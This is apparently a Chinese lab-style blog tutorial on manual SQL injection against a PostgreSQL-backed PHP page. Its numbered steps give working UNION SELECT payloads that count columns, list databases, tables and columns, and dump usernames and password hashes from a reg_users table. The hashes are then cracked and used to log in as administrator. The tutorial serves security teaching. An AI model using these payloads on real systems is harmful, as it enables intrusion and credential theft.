PostGREsql⼿⼯注⼊

1、查看是否存在注入点

new_list.php?id=1 and 1=2 页面没有回显,说明存在sql注入

2、开始猜解后端收据库能够返回多少个字段

new_list.php?id=1 order by 4 页面显示正常

new_list.php?id=1 order by 5 页面没有回显

说明数据字段数为4

3、开始检测这4个字段当中哪些字段可以被前端显示出来且使⽤union 查询来构造 Payload/...通过测试发现只有第⼆第三个字段是前端回显数据字段

new_list.php?id=1 and 1=2 union select 'null',null,null,null

new_list.php?id=1 and 1=2 union select null,'null',null,null

new_list.php?id=1 and 1=2 union select null,null,'null',null

new_list.php?id=1 and 1=2 union select null,null,null,'null'

4、在这两个字段当中来查询我们想要的得到的数据。例如得到当前数据库名称和当前⽤户以 及数据库的版本

new_list.php?id=1 and 1=2 union select null,'null',string_agg(datname,','),null from pg_database

5、构造Payload爆指定数据库下的表名

new_list.php?id=1 and 1=2 union select null,'null',string_agg(table_nam e,','),null from information_schema.tables where table_schema='public'

6、查询字段

new_list.php?id=1 and 1=2 union select null,'null',string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'

7、查询数据

new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

8、使用MD5解除密码,并后台登陆

mozhe2

mozhe1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值